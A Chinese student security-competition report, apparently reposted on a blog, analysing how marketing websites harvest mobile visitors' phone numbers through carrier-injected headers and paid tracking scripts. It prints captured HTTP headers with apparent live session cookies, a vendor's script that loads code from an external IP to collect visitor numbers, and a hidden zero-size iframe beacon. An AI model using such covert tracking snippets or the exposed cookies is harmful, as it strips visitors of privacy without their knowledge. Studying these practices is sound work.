前一段时间“跨界”参加了学校的信息安全竞赛,没想到居然还拿了三等奖,把研究课题报告分享出来,仍是有一些值得学习的地方。(实在太忙,一些图片就不转过来了)javascript
现象:目前,信息安全备受关注。但近来许多营销网站(其中以医疗营销网站为主)可精准得到移动端访客信息(如手机号码、QQ号码等)从而进行营销。此现象代表在使用移动设备访问网站(包括不限于WAP网页)时存在信息泄漏的安全隐患,对此咱们展开研究,探究网站抓取移动端访客信息的原理。如下将阐述探究过程。php
首先,咱们经过搜索引擎搜索可提供抓取网站访客信息的相关服务提供商。在百度 中搜索关键字“获取访客手机”等关键字可查询到多个服务提供商,均使用百度竞价排名服务。如图:html
部分产品介绍如图:java
相关介绍相似,不做过多截图。访客信息获取服务从百元至千元/月不等。web
咱们经过尝试不一样的软件工具对访客关键信息进行抓取分析,以探究信息泄露所处的通讯环节。后端
首先,使用fiddler对数据报文进行抓取。api
(1)对PC端进行抓包浏览器
Headers内容以下:安全
GET http://www.baidu.com/?tn=98050039_dg&ch=1&ref=360 HTTP/1.1 Host: www.baidu.com Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 UBrowser/5.7.16400.12 Safari/537.36 Referer: http://www.baidu.com/?tn=98050039_dg&ch=1 Accept-Encoding: gzip, deflate Accept-Language : zh-CN,zh;q=0.8 Cookie: BIDUPSID=016BE1E811953B967E8FD7844E50E63E; PSTM=1478172121; BAIDUID=AC446DF7C75C578ADEF5B2073A4B7022:FG=1; BDUSS=DFvSm92eHVwM01hVXRjRGhwemk5fnFNZWZabGd2YTFsQnd1WDhHcFlVbGJ5VUpZSVFBQUFBJCQAAAAAAAAAAAEAAACMgx4CYTE5OTYxMTA5ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFs8G1hbPBtYa; andr=7
可抓取到地址、客户端操做系统、浏览器版本等系统信息。服务器
(2)将装有fiddler的PC与Android手机链接至同一无线路由器,并将手机代理调为PC端ip地址,经过PC端口联网,用PC端fiddler对手机进行抓包。
Headers内容以下:
GET http://m5.baidu.com/favicon.ico HTTP/1.1Host: m5.baidu.comProxy-Connection: keep-aliveAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,en-US;q=0.8Cookie: BAIDUID=B627F0F8D61A16BC166E54842394746F:FG=1; BAIDU_WISE_UID=wapp_1480052601504_789; plus_cv=1::m:d48b9a53; plus_lsv=3cda332116465cc3; H_WISE_SIDS=106472_100807_100272_102479_108373_109785_109549_106262_110629_110643_110710_107800_111123_110606_112108_110718_111967_110693_110498_110011_111549_112106_111928_109588_110655_107317_110031_111216_110085_111245; BDSVRTM=166User-Agent: Mozilla/5.0 (Linux; U; Android 6.0.1; zh-CN; M I 5 Build/MXB48T) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.2.5.884 Mobile Safari/537.36
只能抓取到手机的版本信息,没法抓取到手机号等关键信息。
(3)对阿里云Windows Sever 2008服务器进行抓包,用手机链接服务器80端口(访问网站)
没法抓取手机号等信息。
fiddler抓取访客手机号等关键信息失败,说明手机号码等关键信息的泄漏并非在应用层泄漏。推测在网络层发生。
对网络层发生信息泄漏推测途径可能有如下两种:
一个是运营商强行在http请求头里加入手机号,key名为x-up-calling-line-id,也有多是x-up-subno、network-info等,value这里返回的就是手机号码。
还有一种是运营商私自给广告平台开后端接口,这种状况下即使是请求里不带手机号,也能够获取到你的手机号,这种是目前比较常见的途径。
咱们还在网上找到能够直接获取访客手机号码的网页:
http://112.124.4.229:808/member/my.php?mid=21&status=4
经过手机加载一段他们提供的js代码后,便可获取到访问者的移动手机号码,获取率很高。
经过抓包分析能够发现:
首先,抓包要用谷歌浏览器假装成手机访问,否则抓包不到,由于网站屏蔽了pc端。
当用户访问手机网站后,会加载一段js,js请求访问IP:
获取到手机号以后,会把手机号经过base64加密返回给 js请求的参数q的值,如上面的:
参数corp 的值就是手机信息base64位加密后的,解密后能够发现内容为:
null,Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X; en-us) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53
若是是手机访问网站的话, null 就会是你的手机号,由于实验是经过电脑访问的,因此没有手机号
(1)页面脚本
经过这个ip地址受权域名获取访问网站的手机号113.106.95.36:8081
页面添加代码:
1 <script type="text/javascript"> 2 var bhid = 1; 3 var str; 4 str = '<scr' + 'ipt type="text/javascript" src="http://113.106.95.36:8081/mm.js'; 5 str = str + '"></scr' + 'ipt>'; 6 document.write(str); 7 </script>
bhid是客户本身设置的参数值,建议数字和英文组成,后台接口能够获取这个参数值,主要给用户本身区分脚本投放网站的类型。
(2)客户本身开发一个URL地址接口,以便我方调用客户的接口发送数据,GET方式发送,GET的参数值如下:
string Mobile //手机号码 string bhid //客户本身设置的参数值 string locationurl //当前访问的URL地址 string title //当前页面标题 string lasturl //上页面URL string ua //机型 string ip //IP地址
以上参数获取后都须要URL解码
综上所述,WAP的访问方式是压缩访问方式,这里方式是手机先发出一个访问的请求,由运营商的WAP服务器中转站接受到你的请求后,由WAP服务器排除制定请求去访问你的网站,而后在获取数据,经由WAP中转服务区进行数据压缩后回传到你的手机上。
凡是使用WAP上网,实际上是先访问的WAP中转服务器,而不是直接访问的网站,在这个过程当中,WAP中转服务器会要求对你的手机请求进行处理和解析,这里面就包含了你的手机号码和时间轴。因此,在这个过程当中大部分访客的手机号码就能够抓取出来了。
首先无论是中转服务器仍是线路,都是由网络运营商控制的,也就是说普通企业基本没有可能获取的到。各大手机运营商都有本身的外包公司,帮忙处理数据,而这些数据和通道是能够从外包公司进行购买的。
如下列代码为例:
<iframe src=“http://112.122.35.6.xxx/?id=test&c=2” width="0" height="0" scrolling="no" frameborder="0"></iframe>
(实例代码,已经无效)
http开头就是数据端口,抓取信息也是从这里出来的。